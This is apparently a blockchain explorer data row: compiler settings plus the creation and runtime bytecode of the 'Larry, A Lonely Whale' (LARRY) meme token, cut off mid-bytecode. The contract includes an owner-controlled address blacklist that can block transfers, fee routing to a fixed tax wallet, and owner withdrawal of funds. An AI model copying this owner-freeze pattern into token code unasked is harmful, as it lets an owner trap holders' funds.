"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/IERC721Upgradeable.sol\";\n"
}
},
"settings": {
"remappings": [
"ds-test/=lib/forge-std/lib/ds-test/src/",
"forge-std/=lib/forge-std/src/",
"@openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@prb/math/=lib/prb-math/src/",
"@moleculeprotocol/token-vesting/=lib/token-vesting-contract/contracts/",
"solmate/=lib/solmate/src/",
"erc721b/=lib/ERC721B/contracts/",
"safe-global/safe-contracts/=lib/safe-contracts/contracts/",
"base64/=lib/solidity-base64/contracts/libraries/",
"ERC721B/=lib/ERC721B/contracts/",
"erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/",
"openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/",
"safe-contracts/=lib/safe-contracts/contracts/",
"solady/=lib/token-vesting-contract/lib/solady/src/",
"solidity-base64/=lib/solidity-base64/contracts/",
"token-vesting-contract/=lib/token-vesting-contract/"
],
"optimizer": {
"enabled": true,
"runs": 200
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "ipfs",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "paris",
"viaIR": false,
"libraries": {}
}
}} |
1 | 20,290,770 | b0a447a978d1757ce816b9566b108ccbd04f21719060fe96103bd371c152a5a3 | 19617e3a9a4ce110fdccc50178d9ba57ca3afb6028abe3db72dd483d26a8604f | 235248e1c83a1c67ee10380e71057d9b6fbf5e5c | 235248e1c83a1c67ee10380e71057d9b6fbf5e5c | 2a739d0627de07a515e351843f8821c61834e97a | 6080604052601e600755601e60085560006009556000600a55600f600b55600f600c55600f600d556000600e556000600f5560006010556012600a620000469190620004bd565b62000056906301312d00620004d5565b601155620000676012600a620004bd565b62000077906301312d00620004d5565b6012556012600a6200008a9190620004bd565b6200009890611388620004d5565b601355620000a96012600a620004bd565b620000b89062989680620004d5565b60145560026017556018805462ffffff191662010000179055348015620000de57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319167331cd0dc3752dc8dc6cde26a3939a1d7d40036f16179055620001546012600a620004bd565b6200016490633b9aca00620004d5565b3360009081526001602081905260408220929092556003906200018f6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308082526003909352208054909216600117909155601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556200022391906200020d6012600a620004bd565b6200021d90633b9aca00620004d5565b6200027c565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002556012600a620004bd565b6200026590633b9aca00620004d5565b60405190815260200160405180910390a3620004ef565b6001600160a01b038316620002e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620002db565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003ff578160001904821115620003e357620003e3620003a8565b80851615620003f157918102915b93841c9390800290620003c3565b509250929050565b6000826200041857506001620004b7565b816200042757506000620004b7565b81600181146200044057600281146200044b576200046b565b6001915050620004b7565b60ff8411156200045f576200045f620003a8565b50506001821b620004b7565b5060208310610133831016604e8410600b841016171562000490575081810a620004b7565b6200049c8383620003be565b8060001904821115620004b357620004b3620003a8565b0290505b92915050565b6000620004ce60ff84168362000407565b9392505050565b8082028115828204841417620004b757620004b7620003a8565b61201e80620004ff6000396000f3fe6080604052600436106101bb5760003560e01c80637d1db4a5116100ec578063bf474bed1161008a578063f4c014de11610064578063f4c014de1461051a578063f4ef1f421461053a578063f5b3c3bf1461055a578063ff8975701461058a57600080fd5b8063bf474bed1461049e578063dd62ed3e146104b4578063f2fde38b146104fa57600080fd5b806395d89b41116100c657806395d89b411461041b578063a9059cbb14610449578063b5ef226a14610469578063bae4b9421461048957600080fd5b80637d1db4a5146103d15780638da5cb5b146103e75780638f9a55c01461040557600080fd5b806323b872dd116101595780634a49ac4c116101335780634a49ac4c1461035157806361ab8e2a1461037157806370a0823114610386578063715018a6146103bc57600080fd5b806323b872dd146102dd578063313ce567146102fd57806349bd5a5e1461031957600080fd5b80630faee56f116101955780630faee56f1461026b578063124654c21461028157806318160ddd146102985780631cdd3be3146102ad57600080fd5b806306fdde03146101c7578063095ea7b3146102175780630e12062d1461024757600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260158152744c617272792c2041204c6f6e656c79205768616c6560581b60208201525b60405161020e9190611b7b565b60405180910390f35b34801561022357600080fd5b50610237610232366004611bde565b6105aa565b604051901515815260200161020e565b34801561025357600080fd5b5061025d60175481565b60405190815260200161020e565b34801561027757600080fd5b5061025d60145481565b34801561028d57600080fd5b506102966105c1565b005b3480156102a457600080fd5b5061025d610909565b3480156102b957600080fd5b506102376102c8366004611c0a565b60196020526000908152604090205460ff1681565b3480156102e957600080fd5b506102376102f8366004611c27565b61092a565b34801561030957600080fd5b506040516012815260200161020e565b34801561032557600080fd5b50601654610339906001600160a01b031681565b6040516001600160a01b03909116815260200161020e565b34801561035d57600080fd5b5061029661036c366004611c0a565b610993565b34801561037d57600080fd5b506102966109de565b34801561039257600080fd5b5061025d6103a1366004611c0a565b6001600160a01b031660009081526001602052604090205490565b3480156103c857600080fd5b50610296610a44565b3480156103dd57600080fd5b5061025d60115481565b3480156103f357600080fd5b506000546001600160a01b0316610339565b34801561041157600080fd5b5061025d60125481565b34801561042757600080fd5b506040805180820190915260058152644c4152525960d81b6020820152610201565b34801561045557600080fd5b50610237610464366004611bde565b610ab8565b34801561047557600080fd5b50610296610484366004611c68565b610ac5565b34801561049557600080fd5b50610296610b64565b3480156104aa57600080fd5b5061025d60135481565b3480156104c057600080fd5b5061025d6104cf366004611cdd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561050657600080fd5b50610296610515366004611c0a565b610c18565b34801561052657600080fd5b50610296610535366004611bde565b610d02565b34801561054657600080fd5b506018546102379062010000900460ff1681565b34801561056657600080fd5b50610237610575366004611c0a565b60046020526000908152604090205460ff1681565b34801561059657600080fd5b506102966105a5366004611c68565b610da3565b60006105b7338484610e3d565b5060015b92915050565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611d16565b60405180910390fd5b601654600160a01b900460ff161561064e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105eb565b601560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c59190611d4b565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610727573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074b9190611d4b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bc9190611d4b565b601680546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556015541663f305d719473061083c816001600160a01b031660009081526001602052604090205490565b6000806108516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108de9190611d68565b50506018805461ff001916610100179055506016805460ff60a01b1916600160a01b17905543600655565b60006109176012600a611e90565b61092590633b9aca00611e9f565b905090565b6000610937848484610f61565b610989843361098485604051806060016040528060288152602001611fc1602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906117e3565b610e3d565b5060019392505050565b6000546001600160a01b031633146109bd5760405162461bcd60e51b81526004016105eb90611d16565b6001600160a01b03166000908152601960205260409020805460ff19169055565b6000546001600160a01b03163314610a085760405162461bcd60e51b81526004016105eb90611d16565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610a41573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b81526004016105eb90611d16565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105b7338484610f61565b6000546001600160a01b03163314610aef5760405162461bcd60e51b81526004016105eb90611d16565b60005b81811015610b5f57600060196000858585818110610b1257610b12611eb6565b9050602002016020810190610b279190611c0a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b5881611ecc565b9050610af2565b505050565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b81526004016105eb90611d16565b610b9a6012600a611e90565b610ba890633b9aca00611e9f565b601155610bb76012600a611e90565b610bc590633b9aca00611e9f565b60129081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90610bf790600a611e90565b610c0590633b9aca00611e9f565b60405190815260200160405180910390a1565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016105eb90611d16565b6001600160a01b038116610ca75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105eb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2c5760405162461bcd60e51b81526004016105eb90611d16565b60055460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5f9190611ee5565b6000546001600160a01b03163314610dcd5760405162461bcd60e51b81526004016105eb90611d16565b60005b81811015610b5f57600160196000858585818110610df057610df0611eb6565b9050602002016020810190610e059190611c0a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610e3681611ecc565b9050610dd0565b6001600160a01b038316610e9f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610f005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526019602052604090205460ff16158015610fa357506001600160a01b03821660009081526019602052604090205460ff16155b610fef5760405162461bcd60e51b815260206004820152601e60248201527f546f2f66726f6d206164647265737320697320626c61636b6c6973746564000060448201526064016105eb565b6001600160a01b0383166110535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b0382166110b55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b600081116111175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105eb565b60003061112c6000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561115b57506000546001600160a01b03858116911614155b801561117057506001600160a01b0385163014155b801561118557506001600160a01b0384163014155b1561167a576111b760646111b1600b54600e5410156111a6576007546111aa565b6009545b869061181d565b906118a6565b6001600160a01b03861660009081526004602052604090205490925060ff1680156111f057506015546001600160a01b03858116911614155b801561121557506001600160a01b03841660009081526003602052604090205460ff16155b156112fd5760115483111561126c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105eb565b6012548361128f866001600160a01b031660009081526001602052604090205490565b6112999190611f07565b11156112e75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105eb565b600e80549060006112f783611ecc565b91905055505b6001600160a01b03841660009081526004602052604090205460ff1615801561133f57506001600160a01b03841660009081526003602052604090205460ff16155b156113bf5760125483611367866001600160a01b031660009081526001602052604090205490565b6113719190611f07565b11156113bf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105eb565b6001600160a01b03841660009081526004602052604090205460ff1680156113f057506001600160a01b0385163014155b15611466576005546001600160a01b03908116908616036114115782611437565b61143760646111b1600c54600e54101561142d576008546111aa565b600a54869061181d565b6005549092506001600160a01b0390811690861603611461576005546001600160a01b0316611463565b305b90505b6001600160a01b03851660009081526004602052604090205460ff161580156114a857506001600160a01b03841660009081526004602052604090205460ff16155b80156114bd57506001600160a01b0385163014155b156114c757600091505b3060009081526001602052604090205460185462010000900460ff1680156114f2575060185460ff16155b801561151657506001600160a01b03851660009081526004602052604090205460ff165b80156115295750601854610100900460ff165b8015611536575060135484115b80156115465750600d54600e5410155b156115eb5760105443111561155b576000600f555b601754600f54106115a05760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b60448201526064016105eb565b60006115ae826014546118e8565b90506013548111156115c3576115c3816118fd565b6115cc47611a6e565b600f80549060006115dc83611ecc565b90915550504360105550611678565b60185460ff1615801561161657506001600160a01b03851660009081526004602052604090205460ff165b80156116295750601854610100900460ff165b8015611636575060135484115b80156116455750600d54600e54115b15611678576000611658826014546118e8565b905060135481111561166d5761166d816118fd565b61167647611a6e565b505b505b82821561172d576001600160a01b0382166000908152600160205260409020546116a49084611aac565b6001600160a01b0383166000908152600160205260409020556116c78484611b0b565b156116db576116d68484611b0b565b6116dd565b835b9050306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161172491815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546117509085611b0b565b6001600160a01b03808816600090815260016020526040808220939093559087168152205461177f9082611aac565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117d39085815260200190565b60405180910390a3505050505050565b600081848411156118075760405162461bcd60e51b81526004016105eb9190611b7b565b5060006118148486611f1a565b95945050505050565b60008260000361182f575060006105bb565b600061183b8385611e9f565b9050826118488583611f2d565b1461189f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b9392505050565b600061189f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4d565b60008183116118f7578261189f565b50919050565b6018805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061193f5761193f611eb6565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119bc9190611d4b565b816001815181106119cf576119cf611eb6565b6001600160a01b0392831660209182029290920101526015546119f59130911684610e3d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a2e908590600090869030904290600401611f4f565b600060405180830381600087803b158015611a4857600080fd5b505af1158015611a5c573d6000803e3d6000fd5b50506018805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611aa8573d6000803e3d6000fd5b5050565b600080611ab98385611f07565b90508381101561189f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b600061189f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e3565b60008183611b6e5760405162461bcd60e51b81526004016105eb9190611b7b565b5060006118148486611f2d565b600060208083528351808285015260005b81811015611ba857858101830151858201604001528201611b8c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a4157600080fd5b60008060408385031215611bf157600080fd5b8235611bfc81611bc9565b946020939093013593505050565b600060208284031215611c1c57600080fd5b813561189f81611bc9565b600080600060608486031215611c3c57600080fd5b8335611c4781611bc9565b92506020840135611c5781611bc9565b929592945050506040919091013590565b60008060208385031215611c7b57600080fd5b823567ffffffffffffffff80821115611c9357600080fd5b818501915085601f830112611ca757600080fd5b813581811115611cb657600080fd5b8660208260051b8501011115611ccb57600080fd5b60209290920196919550909350505050565b60008060408385031215611cf057600080fd5b8235611cfb81611bc9565b91506020830135611d0b81611bc9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5d57600080fd5b815161189f81611bc9565b600080600060608486031215611d7d57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611de7578160001904821115611dcd57611dcd611d96565b80851615611dda57918102915b93841c9390800290611db1565b509250929050565b600082611dfe575060016105bb565b81611e0b575060006105bb565b8160018114611e215760028114611e2b57611e47565b60019150506105bb565b60ff841115611e3c57611e3c611d96565b50506001821b6105bb565b5060208310610133831016604e8410600b8410161715611e6a575081810a6105bb565b611e748383611dac565b8060001904821115611e8857611e88611d96565b029392505050565b600061189f60ff841683611def565b80820281158282048414176105bb576105bb611d96565b634e487b7160e01b600052603260045260246000fd5b600060018201611ede57611ede611d96565b5060010190565b600060208284031215611ef757600080fd5b8151801515811461189f57600080fd5b808201808211156105bb576105bb611d96565b818103818111156105bb576105bb611d96565b600082611f4a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f9f5784516001600160a01b031683529383019391830191600101611f7a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7def9ff4d40b19a6c1c4d615a00447b8bb35e93e9c002b748e1651461efb9d564736f6c63430008130033 | 6080604052600436106101bb5760003560e01c80637d1db4a5116100ec578063bf474bed1161008a578063f4c014de11610064578063f4c014de1461051a578063f4ef1f421461053a578063f5b3c3bf1461055a578063ff8975701461058a57600080fd5b8063bf474bed1461049e578063dd62ed3e146104b4578063f2fde38b146104fa57600080fd5b806395d89b41116100c657806395d89b411461041b578063a9059cbb14610449578063b5ef226a14610469578063bae4b9421461048957600080fd5b80637d1db4a5146103d15780638da5cb5b146103e75780638f9a55c01461040557600080fd5b806323b872dd116101595780634a49ac4c116101335780634a49ac4c1461035157806361ab8e2a1461037157806370a0823114610386578063715018a6146103bc57600080fd5b806323b872dd146102dd578063313ce567146102fd57806349bd5a5e1461031957600080fd5b80630faee56f116101955780630faee56f1461026b578063124654c21461028157806318160ddd146102985780631cdd3be3146102ad57600080fd5b806306fdde03146101c7578063095ea7b3146102175780630e12062d1461024757600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260158152744c617272792c2041204c6f6e656c79205768616c6560581b60208201525b60405161020e9190611b7b565b60405180910390f35b34801561022357600080fd5b50610237610232366004611bde565b6105aa565b604051901515815260200161020e565b34801561025357600080fd5b5061025d60175481565b60405190815260200161020e565b34801561027757600080fd5b5061025d60145481565b34801561028d57600080fd5b506102966105c1565b005b3480156102a457600080fd5b5061025d610909565b3480156102b957600080fd5b506102376102c8366004611c0a565b60196020526000908152604090205460ff1681565b3480156102e957600080fd5b506102376102f8366004611c27565b61092a565b34801561030957600080fd5b506040516012815260200161020e565b34801561032557600080fd5b50601654610339906001600160a01b031681565b6040516001600160a01b03909116815260200161020e565b34801561035d57600080fd5b5061029661036c366004611c0a565b610993565b34801561037d57600080fd5b506102966109de565b34801561039257600080fd5b5061025d6103a1366004611c0a565b6001600160a01b031660009081526001602052604090205490565b3480156103c857600080fd5b50610296610a44565b3480156103dd57600080fd5b5061025d60115481565b3480156103f357600080fd5b506000546001600160a01b0316610339565b34801561041157600080fd5b5061025d60125481565b34801561042757600080fd5b506040805180820190915260058152644c4152525960d81b6020820152610201565b34801561045557600080fd5b50610237610464366004611bde565b610ab8565b34801561047557600080fd5b50610296610484366004611c68565b610ac5565b34801561049557600080fd5b50610296610b64565b3480156104aa57600080fd5b5061025d60135481565b3480156104c057600080fd5b5061025d6104cf366004611cdd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561050657600080fd5b50610296610515366004611c0a565b610c18565b34801561052657600080fd5b50610296610535366004611bde565b610d02565b34801561054657600080fd5b506018546102379062010000900460ff1681565b34801561056657600080fd5b50610237610575366004611c0a565b60046020526000908152604090205460ff1681565b34801561059657600080fd5b506102966105a5366004611c68565b610da3565b60006105b7338484610e3d565b5060015b92915050565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611d16565b60405180910390fd5b601654600160a01b900460ff161561064e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105eb565b601560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c59190611d4b565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610727573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074b9190611d4b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bc9190611d4b565b601680546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556015541663f305d719473061083c816001600160a01b031660009081526001602052604090205490565b6000806108516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108de9190611d68565b50506018805461ff001916610100179055506016805460ff60a01b1916600160a01b17905543600655565b60006109176012600a611e90565b61092590633b9aca00611e9f565b905090565b6000610937848484610f61565b610989843361098485604051806060016040528060288152602001611fc1602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906117e3565b610e3d565b5060019392505050565b6000546001600160a01b031633146109bd5760405162461bcd60e51b81526004016105eb90611d16565b6001600160a01b03166000908152601960205260409020805460ff19169055565b6000546001600160a01b03163314610a085760405162461bcd60e51b81526004016105eb90611d16565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610a41573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b81526004016105eb90611d16565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105b7338484610f61565b6000546001600160a01b03163314610aef5760405162461bcd60e51b81526004016105eb90611d16565b60005b81811015610b5f57600060196000858585818110610b1257610b12611eb6565b9050602002016020810190610b279190611c0a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b5881611ecc565b9050610af2565b505050565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b81526004016105eb90611d16565b610b9a6012600a611e90565b610ba890633b9aca00611e9f565b601155610bb76012600a611e90565b610bc590633b9aca00611e9f565b60129081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90610bf790600a611e90565b610c0590633b9aca00611e9f565b60405190815260200160405180910390a1565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016105eb90611d16565b6001600160a01b038116610ca75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105eb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2c5760405162461bcd60e51b81526004016105eb90611d16565b60055460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5f9190611ee5565b6000546001600160a01b03163314610dcd5760405162461bcd60e51b81526004016105eb90611d16565b60005b81811015610b5f57600160196000858585818110610df057610df0611eb6565b9050602002016020810190610e059190611c0a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610e3681611ecc565b9050610dd0565b6001600160a01b038316610e9f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610f005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526019602052604090205460ff16158015610fa357506001600160a01b03821660009081526019602052604090205460ff16155b610fef5760405162461bcd60e51b815260206004820152601e60248201527f546f2f66726f6d206164647265737320697320626c61636b6c6973746564000060448201526064016105eb565b6001600160a01b0383166110535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b0382166110b55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b600081116111175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105eb565b60003061112c6000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561115b57506000546001600160a01b03858116911614155b801561117057506001600160a01b0385163014155b801561118557506001600160a01b0384163014155b1561167a576111b760646111b1600b54600e5410156111a6576007546111aa565b6009545b869061181d565b906118a6565b6001600160a01b03861660009081526004602052604090205490925060ff1680156111f057506015546001600160a01b03858116911614155b801561121557506001600160a01b03841660009081526003602052604090205460ff16155b156112fd5760115483111561126c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105eb565b6012548361128f866001600160a01b031660009081526001602052604090205490565b6112999190611f07565b11156112e75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105eb565b600e80549060006112f783611ecc565b91905055505b6001600160a01b03841660009081526004602052604090205460ff1615801561133f57506001600160a01b03841660009081526003602052604090205460ff16155b156113bf5760125483611367866001600160a01b031660009081526001602052604090205490565b6113719190611f07565b11156113bf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105eb565b6001600160a01b03841660009081526004602052604090205460ff1680156113f057506001600160a01b0385163014155b15611466576005546001600160a01b03908116908616036114115782611437565b61143760646111b1600c54600e54101561142d576008546111aa565b600a54869061181d565b6005549092506001600160a01b0390811690861603611461576005546001600160a01b0316611463565b305b90505b6001600160a01b03851660009081526004602052604090205460ff161580156114a857506001600160a01b03841660009081526004602052604090205460ff16155b80156114bd57506001600160a01b0385163014155b156114c757600091505b3060009081526001602052604090205460185462010000900460ff1680156114f2575060185460ff16155b801561151657506001600160a01b03851660009081526004602052604090205460ff165b80156115295750601854610100900460ff165b8015611536575060135484115b80156115465750600d54600e5410155b156115eb5760105443111561155b576000600f555b601754600f54106115a05760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b60448201526064016105eb565b60006115ae826014546118e8565b90506013548111156115c3576115c3816118fd565b6115cc47611a6e565b600f80549060006115dc83611ecc565b90915550504360105550611678565b60185460ff1615801561161657506001600160a01b03851660009081526004602052604090205460ff165b80156116295750601854610100900460ff165b8015611636575060135484115b80156116455750600d54600e54115b15611678576000611658826014546118e8565b905060135481111561166d5761166d816118fd565b61167647611a6e565b505b505b82821561172d576001600160a01b0382166000908152600160205260409020546116a49084611aac565b6001600160a01b0383166000908152600160205260409020556116c78484611b0b565b156116db576116d68484611b0b565b6116dd565b835b9050306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161172491815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546117509085611b0b565b6001600160a01b03808816600090815260016020526040808220939093559087168152205461177f9082611aac565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117d39085815260200190565b60405180910390a3505050505050565b600081848411156118075760405162461bcd60e51